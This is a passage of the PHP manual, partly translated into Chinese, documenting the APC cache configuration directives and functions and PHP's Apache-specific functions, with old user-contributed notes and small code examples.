apc.enabled | 1 | PHP_INI_ALL |
apc.shm_segments | 1 | PHP_INI_SYSTEM |
apc.shm_size | 30 | PHP_INI_SYSTEM |
apc.optimization | 0 | PHP_INI_ALL |
apc.num_files_hint | 1000 | PHP_INI_SYSTEM |
apc.ttl | 0 | PHP_INI_SYSTEM |
apc.gc_ttl | 3600 | PHP_INI_SYSTEM |
apc.cache_by_default | On | PHP_INI_SYSTEM |
apc.filters | "" | PHP_INI_SYSTEM |
apc.mmap_file_mask | "" | PHP_INI_SYSTEM |
apc.slam_defense | 0 | PHP_INI_SYSTEM |
apc.file_update_protection | 2 | PHP_INI_SYSTEM |
apc.enable_cli | 0 | PHP_INI_SYSTEM | > APC 3.0.6
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

apc.enabled boolean

apc.enabled can be set to 0 to disable APC. This is primarily useful when APC is statically compiled into PHP, since there is no other way to disable it (when compiled as a DSO, the extension line in php.ini can just be commented-out).

apc.shm_segments integer

The number of shared memory segments to allocate for the compiler cache. If APC is running out of shared memory but you have already set apc.shm_size as high as your system allows, you can try raising this value.

apc.shm_size integer

The size of each shared memory segment in MB. By default, some systems (including most BSD variants) have very low limits on the size of a shared memory segment.

apc.optimization integer

The optimization level. Zero disables the optimizer, and higher values use more aggressive optimizations. Expect very modest speed improvements. This is experimental.

apc.num_files_hint integer

A "hint" about the number of distinct source files that will be included or requested on your web server. Set to zero or omit if you're not sure; this setting is mainly useful for sites that have many thousands of source files.

apc.ttl integer

The number of seconds a cache entry is allowed to idle in a slot in case this cache entry slot is needed by another entry. Leaving this at zero means that your cache could potentially fill up with stale entries while newer entries won't be cached.

apc.gc_ttl integer

The number of seconds that a cache entry may remain on the garbage-collection list. This value provides a failsafe in the event that a server process dies while executing a cached source file; if that source file is modified, the memory allocated for the old version will not be reclaimed until this TTL reached. Set to zero to disable this feature.

apc.cache_by_default boolean

On by default, but can be set to off and used in conjunction with positive apc.filters so that files are only cached if matched by a positive filter.

apc.filters string

A comma-separated list of POSIX extended regular expressions. If any pattern matches the source filename, the file will not be cached. Note that the filename used for matching is the one passed to include/require, not the absolute path. If the first character of the expression is a + then the expression will be additive in the sense that any files matched by the expression will be cached, and if the first character is a - then anything matched will not be cached. The - case is the default, so it can be left off.

apc.mmap_file_mask string

If compiled with MMAP support by using --enable-mmap this is the mktemp-style file_mask to pass to the mmap module for determing whether your mmap'ed memory region is going to be file-backed or shared memory backed. For straight file-backed mmap, set it to something like /tmp/apc.XXXXXX (exactly 6 Xs). To use POSIX-style shm_open/mmap put a .shm somewhere in your mask. e.g. /apc.shm.XXXXXX You can also set it to /dev/zero to use your kernel's /dev/zero interface to anonymous mmap'ed memory. Leaving it undefined will force an anonymous mmap.

apc.slam_defense integer

On very busy servers whenever you start the server or modify files you can create a race of many processes all trying to cache the same file at the same time. This option sets the percentage of processes that will skip trying to cache an uncached file. Or think of it as the probability of a single process to skip caching. For example, setting apc.slam_defense to 75 would mean that there is a 75% chance that the process will not cache an uncached file. So, the higher the setting the greater the defense against cache slams. Setting this to 0 disables this feature.

apc.file_update_protection integer

When you modify a file on a live web server you really should do so in an atomic manner. That is, write to a temporary file and rename (mv) the file into its permanent position when it is ready. Many text editors, cp, tar and other such programs don't do this. This means that there is a chance that a file is accessed (and cached) while it is still being written to. This apc.file_update_protection setting puts a delay on caching brand new files. The default is 2 seconds which means that if the modification timestamp (mtime) on a file shows that it is less than 2 seconds old when it is accessed, it will not be cached. The unfortunate person who accessed this half-written file will still see weirdness, but at least it won't persist. If you are certain you always atomically update your files by using something like rsync which does this correctly, you can turn this protection off by setting it to 0. If you have a system that is flooded with io causing some update procedure to take longer than 2 seconds, you may want to increase this a bit.

apc.enable-cli integer

Mostly for testing and debugging. Setting this enables APC for the CLI version of PHP. Normally you wouldn't want to create, populate and tear down the APC cache on every CLI request, but for various test scenarios it is handy to be able to enable APC for the CLI version of APC easily.

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
apc_cache_info -- Retrieves cached information (and meta-data) from APC's data store
apc_clear_cache -- Clears the APC cache
apc_define_constants -- Defines a set of constants for later retrieval and mass-definition
apc_delete -- Removes a stored variable from the cache
apc_fetch -- Fetch a stored variable from the cache
apc_load_constants -- Loads a set of constants from the cache
apc_sma_info -- Retrieves APC's Shared Memory Allocation information
apc_store -- Cache a variable in the data store

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
rename_function | 上一级 | apc_cache_info


apc_cache_info

(PECL)

apc_cache_info -- Retrieves cached information (and meta-data) from APC's data store

说明

array apc_cache_info ( [string cache_type] )

返回值

Array of cached data (and meta-data), or FALSE on failure

注: apc_cache_info() will raise a warning if it is unable to retrieve APC cache data. This typically occurs when APC is not enabled.

范例

例子 1. A apc_cache_info() example

<?php
print_r(apc_cache_info());
?>

上例的输出类似于：

Array
(
    [num_slots] => 2000
    [ttl] => 0
    [num_hits] => 9
    [num_misses] => 3
    [start_time] => 1123958803
    [cache_list] => Array
        (
            [0] => Array
                (
                    [filename] => /path/to/apc_test.php
                    [device] => 29954
                    [inode] => 1130511
                    [type] => file
                    [num_hits] => 1
                    [mtime] => 1123960686
                    [creation_time] => 1123960696
                    [deletion_time] => 0
                    [access_time] => 1123962864
                    [ref_count] => 1
                    [mem_size] => 677
                )
            [1] => Array (...iterates for each cached file)
)

参见

APC configuration directives

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Alternative PHP Cache | 上一级 | apc_clear_cache


apc_clear_cache

(PECL)

apc_clear_cache -- Clears the APC cache

说明

bool apc_clear_cache ( [string cache_type] )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apc_cache_info | 上一级 | apc_define_constants


apc_define_constants

(PECL)

apc_define_constants -- Defines a set of constants for later retrieval and mass-definition

说明

bool apc_define_constants ( string key, array constants [, bool case_sensitive] )

define() is notoriously slow. Since the main benefit of APC is to increase the performance of scripts/applications, this mechanism is provided to streamline the process of mass constant definition.

注: To remove a set of stored constants (without clearing the entire cache), an empty array may be passed as the constants parameter, effectively clearing the stored value(s).

参数

key

The key serves as the name of the constant set being stored. This key is used to retrieve the stored constants in apc_load_constants().

constants

An associative array of constant_name => value pairs. The constant_name must follow the normal constant naming rules. value must evaluate to a scalar value.

case_sensitive

The default behaviour for constants is to be declared case-sensitive; i.e. CONSTANT and Constant represent different values. If this parameter evaluates to FALSE the constants will be declared as case-insensitive symbols.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. apc_define_constants() example

<?php
$constants = array(
    'ONE'   => 1,
    'TWO'   => 2,
    'THREE' => 3,
);
apc_define_constants('numbers', $constants);
apc_load_constants('numbers');
echo ONE, TWO, THREE;
?>

上例将输出：

123

参见

apc_load_constants()
define()
constant()
Or the PHP constants reference

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apc_clear_cache | 上一级 | apc_delete


apc_delete

(PECL)

apc_delete -- Removes a stored variable from the cache

说明

bool apc_delete ( string key )

参数

key

The key used to store the value (with apc_store()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. A apc_delete() example

<?php
$bar = 'BAR';
apc_store('foo', $bar);
apc_delete('foo'));
// this is obviously useless in this form
?>

参见

apc_store()
apc_fetch()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apc_define_constants | 上一级 | apc_fetch


apc_fetch

(PECL)

apc_fetch -- Fetch a stored variable from the cache

说明

mixed apc_fetch ( string key )

参数

key

The key used to store the value (with apc_store()).

返回值

The stored variable on success; FALSE on failure

范例

例子 1. A apc_fetch() example

<?php
$bar = 'BAR';
apc_store('foo', $bar);
var_dump(apc_fetch('foo'));
?>

上例将输出：

string(3) "BAR"

参见

apc_store()
apc_delete()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apc_delete | 上一级 | apc_load_constants


apc_load_constants

(PECL)

apc_load_constants -- Loads a set of constants from the cache

说明

bool apc_load_constants ( string key [, bool case_sensitive] )

参数

key

The name of the constant set (that was stored with apc_define_constants()) to be retrieved.

case_sensitive

The default behaviour for constants is to be declared case-sensitive; i.e. CONSTANT and Constant represent different values. If this parameter evaluates to FALSE the constants will be declared as case-insensitive symbols.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. apc_load_constants() example

<?php
$constants = array(
    'ONE'   => 1,
    'TWO'   => 2,
    'THREE' => 3,
);
apc_define_constants('numbers', $constants);
apc_load_constants('numbers');
echo ONE, TWO, THREE;
?>

上例将输出：

123

参见

apc_define_constants()
define()
constant()
Or the PHP constants reference

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apc_fetch | 上一级 | apc_sma_info


apc_sma_info

(PECL)

apc_sma_info -- Retrieves APC's Shared Memory Allocation information

说明

array apc_sma_info ( void )

返回值

Array of Shared Memory Allocation data; FALSE on failure.

范例

例子 1. A apc_sma_info() example

<?php
print_r(apc_sma_info());
?>

上例的输出类似于：

Array
(
    [num_seg] => 1
    [seg_size] => 31457280
    [avail_mem] => 31448408
    [block_lists] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [size] => 31448408
                            [offset] => 8864
                        )

                )

        )

)

参见

APC configuration directives

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apc_load_constants | 上一级 | apc_store


apc_store

(PECL)

apc_store -- Cache a variable in the data store

说明

bool apc_store ( string key, mixed var [, int ttl] )

注: Unlike many other mechanisms in PHP, variables stored using apc_store() will persist between requests (until the value is removed from the cache).

参数

key

Store the variable using this name. keys are cache-unique, so storing a second value with the same key will overwrite the original value.

var

The variable to store

ttl

Time To Live; store var in the cache for ttl seconds. After the ttl has passed, the stored variable will be expunged from the cache (on the next request). If no ttl is supplied (or if the ttl is 0), the value will persist until it is removed from the cache manually, or otherwise fails to exist in the cache (clear, restart, etc.).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. A apc_store() example

<?php
$bar = 'BAR';
apc_store('foo', $bar);
var_dump(apc_fetch('foo'));
?>

上例将输出：

string(3) "BAR"

参见

apc_fetch()
apc_delete()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apc_sma_info | 上一级 | Apache 特有函数


Apache 特有函数

PHP 手册
后退 前进

IV. Apache 特有函数

简介

本类函数仅在 PHP 作为 Apache 的模块运行时可用。

注: 自 PHP 4.3.2 起，Apache 2 SAPI 中不再像和 Apache 1 中相反那样隐含设定 PATH_TRANSLATED，它将被设为 SCRIPT_FILENAME 服务器环境变量而不是由 Apache 产生。此修改是为了符合 CGI 规范，PATH_TRANSLATED 应仅在定义了 PATH_INFO 之时才有效。

Apache 2 用户可以在 httpd.conf 中使用 AcceptPathInfo = On 来定义 PATH_INFO。

安装

PHP 在 Apache 中的安装见安装一章。

运行时配置

Apache 的 PHP 模块的行为受 php.ini 的设置影响。在 php.ini 中的设置可以被服务器配置文件或本地的 .htaccess 文件中的 php_flag 设置所覆盖。

例子 1. 用 .htaccess 禁用一个目录的 PHP 解析

php_flag engine off

表格 1. Apache 配置选项

名称 | 默认值 | 可修改范围 | 更新记录
engine | "1" | PHP_INI_ALL | 自 PHP 4.0.5 起可用
child_terminate | "0" | PHP_INI_ALL | 自 PHP 4.0.5 起可用
last_modified | "0" | PHP_INI_ALL | 自 PHP 4.0.5 起可用
xbithack | "0" | PHP_INI_ALL | 自 PHP 4.0.5 起可用
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

engine boolean

打开或关闭 PHP 解析。本指令仅在使用 PHP 的 Apache 模块版本时才有用。可以基于目录或者虚拟主机来打开或者关闭 PHP。将 engine off 放到 httpd.conf 文件中适当的位置就可以激活或禁用 PHP。

child_terminate boolean

指定 PHP 脚本在请求结束后是否可以要求终止子进程。参见 apache_child_terminate()。

last_modified boolean

在本次请求中发送一个头信息 Last-Modified:，显示 PHP 脚本最后被修改的日期。

xbithack boolean

不管文件结尾是什么，将文件作为 PHP 以可执行位组来解析。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
apache_child_terminate -- 在本次请求结束后终止 apache 进程
apache_get_modules -- Get a list of loaded Apache modules
apache_get_version -- Fetch Apache version
apache_getenv -- Get an Apache subprocess_env variable
apache_lookup_uri -- 对指定的 URI 执行部分请求并返回所有有关信息
apache_note -- 取得或设置 apache 请求记录
apache_request_headers -- Fetch all HTTP request headers
apache_reset_timeout -- Reset the Apache write timer
apache_response_headers -- Fetch all HTTP response headers
apache_setenv -- Set an Apache subprocess_env variable
ascii2ebcdic -- Translate string from ASCII to EBCDIC
ebcdic2ascii -- Translate string from EBCDIC to ASCII
getallheaders -- Fetch all HTTP request headers
virtual -- Perform an Apache sub-request

add a note add a note User Contributed Notes
bgshea at gmail dot com
29-Nov-2005 11:41
here is a dynamic version of henk_nicolai at REMOVE-THIS at hotmail dot com's code

   $req = $_SERVER['REQUEST_URI'];
   // Remove rubbish.
   $newReq = ereg_replace ( $_SERVER['SCRIPT_NAME'] . '[^?]*', $_SERVER['SCRIPT_NAME'], $req);
   if (strlen($newReq) < strlen($req))
   {
       header ('Location: '.$newReq);
       header ('HTTP/1.0 301 Moved Permanently');
       die;  // Don't send any more output.
   }
   unset($req);
   unset($newReq);

this can be placed at the top of any file that is to be access by the URI.
pike
02-Nov-2005 07:16
to henk_nicolai

the behaviour you describe is not a "glitch" of apache :-). an url like
"http://my_server.nl/index.php/foo".  should return the resource http://my_server.nl/index.php and pass "/foo" as PATH_INFO in the environment.

which is extremely usefull if you use it wisely.

for more info on PATH_INFO and PATH_TRANSLATED, see http://nl2.php.net/reserved.variables . PATH_INFO is not related to the php pathinfo() function

$2c,
*pike
outofnet at mail dot ru
27-Aug-2004 10:44
Important info for Apache2 users that have several virtual hosts.

It seems php_flag directive has a different behaviour under Apache 2 (from what it is under 1.3) when used inside <VirtualHost> block.

If you override global php.ini settings with php_flag for one of your virtual host - then your other non-customized virtual hosts may use this overrided settings as well. php_flag records are messed up among different virtual hosts under single Apache 2 server. It may result from Apache 2 multi-thread nature.

Here is an example:

Suppose you have two Virtual hosts: V1 and V2.
For V1 in Apache configuration you use
php_flag magic_quotes_gpc 1
V2 is supposed to use global php.ini settings, so you didn't put any php_flag records into Apache conf for V2 (this worked under Apache 1.3).
And your default php.ini settings are:
php_flag magic_quotes_gpc 0

When you run your server you'll notice that magic quotes is (sometimes) set to On at V2!
The value turns On at V2 when there have been a previous request to V1.

To solve the problem either move php_flag into .htaccess located inside customized virtual host directory OR put php_flag with default settings into all your <VirtualHost> blocks that are not customized. So for V2 put:
php_flag magic_quotes_gpc 0

It is critical to be very carefull with php_flag engine 0.

My configuration is:
PHP 4.3.4, Apache 2.0.50, Linux RedHat 9
henk_nicolai at REMOVE-THIS at hotmail dot com
20-Nov-2002 08:03
My Apache server has a problem when someone enters a URI like: "http://my_server.nl/index.php/". (Note the extra slash.) The server executes the index.php script anyway, which causes the browser directory and the current directory used in the script to be different. And therefore my relative links don't work, and my stylesheet is not loaded. A quick test ("http://www.php.net/manual/en/index.php/") reveals that also this site has this glitch.

When a client requests a directory without the last slash ("http://www.php.net/manual") the server sends a HTTP 301 (Moved Permanently) response with a redirect to the correct URI ("http://www.php.net/manual/"), and my idea was to do the same when the user adds a slash too much:

<?php
   $req = $_SERVER['REQUEST_URI'];
   // Remove rubbish.
   $newReq = ereg_replace ('index.php[^?]*', 'index.php', $req);
   if (strlen($newReq) < strlen($req)) {
     header ('Location: '.$newReq);
     header ('HTTP/1.0 301 Moved Permanently');
     die;  // Don't send any more output.
   }
   unset($req); unset($newReq);

   ... (rest of the script) ...
?>

Replace every occurence of 'index.php' with your filename and you're done. Hope it helps. :-)

(Note: I'm not using fragments in my URI's (like 'index.php#bottom'), and this code may not do what you want if you are using them.)
cjm2 at earthling dot net
11-Jan-2002 07:40
If you are trying to find a Handler to use with apache's mod_mime functions (e.g. SetHandler).  Use the MIME type associated with php.

e.g. SetHandler application/x-httpd-php
jarl at diku dot dk
25-Mar-2000 07:12
Many of the environment variables can be found here:
http://www.php.net/manual/language.variables.predefined.php
add a note add a note

后退 | 起点 | 前进
apc_store | 上一级 | apache_child_terminate


apache_child_terminate

(PHP 4 >= 4.0.5, PHP 5)

apache_child_terminate -- 在本次请求结束后终止 apache 进程

说明

bool apache_child_terminate ( void )

apache_child_terminate() 将把运行当前 PHP 请求的 Apache 进程注册为终止状态，一旦结束 PHP 代码的运行此进程将终止。可以用在占用大量内存的脚本后面来终止该进程，因为通常内存只在内部释放而不会还给操作系统。

返回值

如果 PHP 以 Apache 1 模块方式运行，且 Apache 的版本是非多线程的，以及激活了 PHP 指令 child_terminate，则返回 TRUE。如果不满足上述条件则返回 FALSE 并生成一条 E_WARNING 级的错误信息。

注释

注: 本函数未在 Windows 平台下实现。

参见

exit()

add a note add a note User Contributed Notes
sam at liddicott dot com
14-Mar-2006 12:26
apache_child_terminate does NOT terminate the running script.

It terminates the apache process running the script AFTER it has finished running the script.

It has no side effects on page generation, you should only call it in cases where you know your script will have used a lot of memory and you want to give it back to the system.
daniele_dll at yahoo dot it
07-Jul-2005 04:29
Don't use this function to simply terminate your scripts!

Using this function you will cause a BIG overhead to apache, infact it will terminate and restart child processes instead to execute more requests in the same process!

Use die or exit instead
anonymous at person dot com
28-Nov-2003 07:14
<?php
function term() {
 if(function_exists('apache_child_terminate')) {
  apache_child_terminate();
 }
die('Terminated');
}
?>

Also, when apache_child_terminate is called, it terminates the script, so die()/exit() is not necessary if the script is 100% sure to be on an apache 1.x server, else a die()/exit() is as good as it gets.

I found its a semi-good idea to terminate the child if available after critical low-level errors.
add a note add a note

后退 | 起点 | 前进
Apache 特有函数 | 上一级 | apache_get_modules


apache_get_modules

(PHP 4 >= 4.3.2, PHP 5)

apache_get_modules -- Get a list of loaded Apache modules

说明

array apache_get_modules ( void )

Get a list of loaded Apache modules.

返回值

An array of loaded Apache modules.

更新日志

版本 | 说明
5.0.0 | Became available when using Apache 1, or the PHP Apache 2 filter API. Before this time, it was only available when using the Apache 2 handler API.

范例

例子 1. apache_get_modules() example

<?php
print_r(apache_get_modules());
?>

上例的输出类似于：

Array
(
    [0] => core
    [1] => http_core
    [2] => mod_so
    [3] => sapi_apache2
    [4] => mod_mime
    [5] => mod_rewrite
)

add a note add a note User Contributed Notes
Vlad Alexa Mancini mancini at nextcode dot org
04-Aug-2005 05:13
this function can be used on older php versions using something like "/etc/httpd/httpd.conf" as $fname

<?php

function get_modules ($fname){
   if (is_readable($fname)){
     $fcont = file($fname);
     if (is_array($fcont)){
         foreach ($fcont as $line){
             if (preg_match ("/^LoadModule\s*(\S*)\s*(\S*)/i",$line,$match)){
                 $return[$match[2]] = $match[1];
             }
         }
     }
   }
   return $return;
}

?>
add a note add a note

后退 | 起点 | 前进
apache_child_terminate | 上一级 | apache_get_version


apache_get_version

(PHP 4 >= 4.3.2, PHP 5)

apache_get_version -- Fetch Apache version

说明

string apache_get_version ( void )

Fetch the Apache version.

返回值

Returns the Apache version on success, or FALSE on failure.

更新日志

版本 | 说明
4.3.4 | Became available with Apache 1.
5.0.0 | Became available with the Apache 2 filter API.

范例

例子 1. apache_get_version() example

<?php
$version = apache_get_version();
echo "$version\n";
?>

上例的输出类似于：

Apache/1.3.29 (Unix) PHP/4.3.4

参见

phpinfo()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apache_get_modules | 上一级 | apache_getenv


apache_getenv

(PHP 4 >= 4.3.0, PHP 5)

apache_getenv -- Get an Apache subprocess_env variable

说明

string apache_getenv ( string variable [, bool walk_to_top] )

Get an Apache environment variable as specified by variable.

This function requires Apache 2 otherwise it's undefined.

参数

variable

The Apache environment variable

walk_to_top

Whether to get the top-level variable available to all Apache layers.

返回值

The value of the Apache environment variable on success, or FALSE on failure

范例

例子 1. apache_getenv() example

The example above shows how to retrieve the value of the Apache environment variable SERVER_ADDR.

<?php
$ret = apache_getenv("SERVER_ADDR");
echo $ret;
?>

上例的输出类似于：

42.24.42.240

参见

apache_sentenv()
getenv()
Superglobals

add a note add a note User Contributed Notes
hela at helawann dot de
17-Aug-2004 10:09
Very easy but VERY cool to use:

For an index.php that will be installed on many servers that are installed in a web without DNS, the page should point to the server itself and, for example for a cups-webinterface to port 631. So, lets do it:

<a href="/testdir/">testlink</a><br>
<a href="http://<? echo apache_getenv("SERVER_ADDR"); ?>:631/">Cups Webinterface</a><br>

Have a lot of fun . . .

Hela
add a note add a note

后退 | 起点 | 前进
apache_get_version | 上一级 | apache_lookup_uri


apache_lookup_uri

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

apache_lookup_uri -- 对指定的 URI 执行部分请求并返回所有有关信息

说明

object apache_lookup_uri ( string filename )

本函数对一个 URL 执行部分请求。取得所有有关给定资源的重要信息后就停手。

此函数仅在 PHP 作为 Apache 模块安装时才可使用。

参数

filename

被请求的文件名（URI），失败时为 FALSE。

返回值

一个有关 URI 信息的 object。此 object 的属性有：

status
the_request
status_line
method
content_type
handler
uri
filename
path_info
args
boundary
no_cache
no_local_copy
allowed
send_bodyct
bytes_sent
byterange
clength
unparsed_uri
mtime
request_time

范例

例子 1. apache_lookup_uri() 例子

<?php
$info = apache_lookup_uri('index.php?var=value');
print_r($info);

if (file_exists($info->filename)) {
    echo 'file exists!';
}
?>

上例的输出类似于：

stdClass Object
(
    [status] => 200
    [the_request] => GET /dir/file.php HTTP/1.1
    [method] => GET
    [mtime] => 0
    [clength] => 0
    [chunked] => 0
    [content_type] => application/x-httpd-php
    [no_cache] => 0
    [no_local_copy] => 1
    [unparsed_uri] => /dir/index.php?var=value
    [uri] => /dir/index.php
    [filename] => /home/htdocs/dir/index.php
    [args] => var=value
    [allowed] => 0
    [sent_bodyct] => 0
    [bytes_sent] => 0
    [request_time] => 1074282764
)
file exists!

add a note add a note User Contributed Notes
trejkaz
05-Aug-2005 09:09
Apparently on PHP 4.2, this function returns an array instead of an object.

That being the case, the example code above would translate to:

<?php
$info = apache_lookup_uri('index.php?var=value');
print_r($info);

if (file_exists($info['filename'])) {
   echo 'file exists!';
}
?>

A means of making this transparent so that the object syntax works, is left as an exercise for the reader. ;-)
redbeard at mdjohnson dot nospam dot us
18-Apr-2003 08:15
A useful feature is that if you have content negotiation on (Options MultiViews) Apache will resolve the negotiation for you if possible.  Thus www.example.com/blah will resolve to /base/blah.php or /base/blah.html or even /base/blah.en.html as appropriate.
add a note add a note

后退 | 起点 | 前进
apache_getenv | 上一级 | apache_note


apache_note

(PHP 3 >= 3.0.2, PHP 4, PHP 5)

apache_note -- 取得或设置 apache 请求记录

说明

string apache_note ( string note_name [, string note_value] )

apache_note() 是用于 Apache 的函数，可以取得或者设置请求 notes 表中的值。

参数

note_name

note 名。

note_value

note 值。

返回值

如果只有一个参数调用，则返回记录 note_name 的当前值。如果用两个参数调用，则将记录 note_name 的值设为 note_value 并返回记录 note_name 的前一个值。如果未能获取记录，则返回 FALSE。

add a note add a note User Contributed Notes
ckm at NOSPAM dot crust dot net
17-Oct-2001 04:52
apache_note() does not work on requests to a symlink, only on actual files.  Eg. if index.php is symlinked to login.php, then any apache_note() in login.php will not be available to other apache modules such as logging.
nathan at thelinuxcommunity dot org
07-Sep-2001 03:25
Used this with mod_layout... very handy. :) Used my PHP code in my header to check session variables and validate the session. If the session is not valid, I use apache_note to tell mod_layout not to display the content page or the footer, just the error page I generate in the header page.

Note: successive calls to apache_note with the same KEY overwrite the VALUE. Ie:

               apache_note("LAYOUT","originoff");
               apache_note("LAYOUT","footeroff");

Will only send the last note. You need to do something like:

               apache_note("LAYOUT","originoff");
               apache_note("LAYOUT-2","footeroff");

To get both variables through. How you retrieve this is obviously up to the module receiving notes, of course...

--Nathan
fredrik dot ekengren at mandarinen dot se
24-Jul-2001 07:45
In a project I was involved in, we needed to pass data from mod_php4 to mod_perl. We used apache_note() to do the work for us.

It took a little while to figure it out, but here's some sample code that could help anyone with the same problem.

From PHP file:

<?
apache_note("name", $HTTP_COOKIE_VARS["User"]);

// Put all post variables into apache notes
while (list($key,$value) = each($HTTP_POST_VARS))
  apache_note($key, $value);

// Call perl script
virtual("/perl/some_script.pl");
$result = apache_note("resultdata");
?>

From Perl file:

# Get Apache request object
my $r = Apache->request()->main();

# Get passed data
my $name = $r->notes('name');
my $more_data = $r->notes('more_data');

# some processing

# Pass result back to PHP
$r->notes('resultdata', $result);

// Fredrik
leon at leonatkinson dot com
12-Sep-1999 06:48
This function is a wrapper for Apache's table_get and table_set.  It
edits the table of notes that exists during a request.  The table's
purpose is to allow Apache modules to communicate.  Here are some
further details I found in the mailing list archives:
<P>
Rasmus wrote:
<P>
The main use for apache_note() is to pass information
from one module to another within the same request.  I haven`t seen an
actual implementation that uses this yet, but it is quite possible for
someone to write a module which performs some sort of action at one of the
other stages of the request and stores some information in the Apache note
table which will then be available to PHP when the request reaches the
content-handling stage.  Or, one could have a logging module that reads
something from the Apache Note table set by PHP.
<P>
David Sklar wrote:
<P>You can use it to facilitate communication between modules that act on the
request at different stages. I use it to record userids in logfiles. In
some PHP that gets auto_prepend-ed, I do a
<P>
apache_note(`sessionID`,$sessionID);
<P>
(where $sessionID has been slurped out of a cookie and processed)
<P>
and then, in my httpd.conf, part of my LogFormat is
<P>
"%{sessionID}n"
<P>
so that sessionID gets written to the logfile.
<P>
If you have other modules that process the request before or after PHP
does (authentication, fixups, whatever..) you can have them talk to PHP or
PHP talk to them through the notes table.
add a note add a note

后退 | 起点 | 前进
apache_lookup_uri | 上一级 | apache_request_headers


apache_request_headers

(PHP 4 >= 4.3.0, PHP 5)

apache_request_headers -- Fetch all HTTP request headers

说明

array apache_request_headers ( void )

Fetches all HTTP requests from the current request.

此函数仅在 PHP 作为 Apache 模块安装时才可使用。

返回值

An associative array of all the HTTP headers in the current request, or FALSE on failure.

范例

例子 1. apache_request_headers() example

<?php
$headers = apache_request_headers();

foreach ($headers as $header => $value) {
    echo "$header: $value <br />\n";
}
?>

上例的输出类似于：

Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0
Host: www.example.com
Connection: Keep-Alive

注释

注:
    Prior to PHP 4.3.0, apache_request_headers() was
    called getallheaders().  After PHP 4.3.0,
    getallheaders() is an alias for
    apache_request_headers().

注: You can also get at the value of the common CGI variables by reading them from the environment, which works whether or not you are using PHP as an Apache module. Use phpinfo() to see a list of all of the available environment variables.

注: 自 PHP 4.3.3 起也可以在 Netscape/iPlanet/SunONE 服务器的 NSAPI server module 中使用本函数。

参见

apache_response_headers()

add a note add a note User Contributed Notes
php [at] barryhunter [.] co [.] uk
09-Sep-2005 07:00
Surly this could be rewritten as

function list_dirs($path, $target)
{
   $list = scandir($path);
   $url = $_SERVER['HTTP_HOST'];

   foreach ($list as $number => $filename)
   {
       if ( $filename !== '.' && $filename !== '..' && !is_file($filename) )
       {
           if ($target == '')
           {
               // Print Dirs with link
               print ("<a href=\"http://$url/$filename\">$filename</a> <br>\n");
           }
           else
           {
               // Print Dirs with link
               print ("<a href=\"http://$url/$filename\" target=\"$target\">$filename</a> <br>\n");
           }

       }
   }
}

which would then not require apache. I havent tested this but looks to do exactly the same.
renich at woralelandia dot com
22-Apr-2005 01:50
Here is a simple listing function. It accepts a path and target. Examples listed bellow

function list_dirs($path, $target)
{
   $list = scandir($path);

   foreach ($list as $number => $filename)
   {
       if ( $filename !== '.' && $filename !== '..' && !is_file($filename) )
       {
           // Asign more readable and logic variables
           $dir = $filename;
           $url = apache_request_headers();

           if ($target == '')
           {
               // Print Dirs with link
               print ("<a href=\"http://$url[Host]/$dir\">$dir</a> <br>\n");
           }
           else
           {
               // Print Dirs with link
               print ("<a href=\"http://$url[Host]/$dir\" target=\"$target\">$dir</a> <br>\n");
           }

       }
   }
}

Examples:

1.- List actual dir with no target option

<?php

list_dirs('.', '');

?>

2.- List "mydir" with a "_blank" as target name

<?php

list_dirs('/home/renich/www/mydir', '_blank')

?>

Notes:
- Its a simple function and it uses a function that interacts with apache. I don't know what will happen if you request a file list of a directory outside of the apache realm!
- Not fully tested!
add a note add a note

后退 | 起点 | 前进
apache_note | 上一级 | apache_reset_timeout


apache_reset_timeout

(no version information, might be only in CVS)

apache_reset_timeout -- Reset the Apache write timer

说明

bool apache_reset_timeout ( void )

apache_reset_timeout() resets the Apache write timer, which defaults to 300 seconds. With set_time_limit(0); ignore_user_abort(true) and periodic apache_reset_timeout() calls, Apache can theoretically run forever.

This function requires Apache 1.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

注释

注: 本函数在安全模式下被禁用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apache_request_headers | 上一级 | apache_response_headers


apache_response_headers

(PHP 4 >= 4.3.0, PHP 5)

apache_response_headers -- Fetch all HTTP response headers

说明

array apache_response_headers ( void )

Fetch all HTTP response headers.

返回值

An array of all Apache response headers on success, or FALSE on failure.

范例

例子 1. apache_response_headers() example

<?php
print_r(apache_response_headers());
?>

上例的输出类似于：

Array
(
    [Accept-Ranges] => bytes
    [X-Powered-By] => PHP/4.3.8
)

注释

注: 自 PHP 4.3.3 起也可以在 Netscape/iPlanet/SunONE 服务器的 NSAPI server module 中使用本函数。

参见

apache_request_headers()
headers_sent()

add a note add a note User Contributed Notes
athlet
02-Feb-2006 01:37
For apache_response_headers() working good, you need to set  up output_buffering = Off in php.ini
orange
05-Sep-2005 11:17
If apache_response_headers() returns an empty array, try calling flush() before and it'll get filled.
add a note add a note

后退 | 起点 | 前进
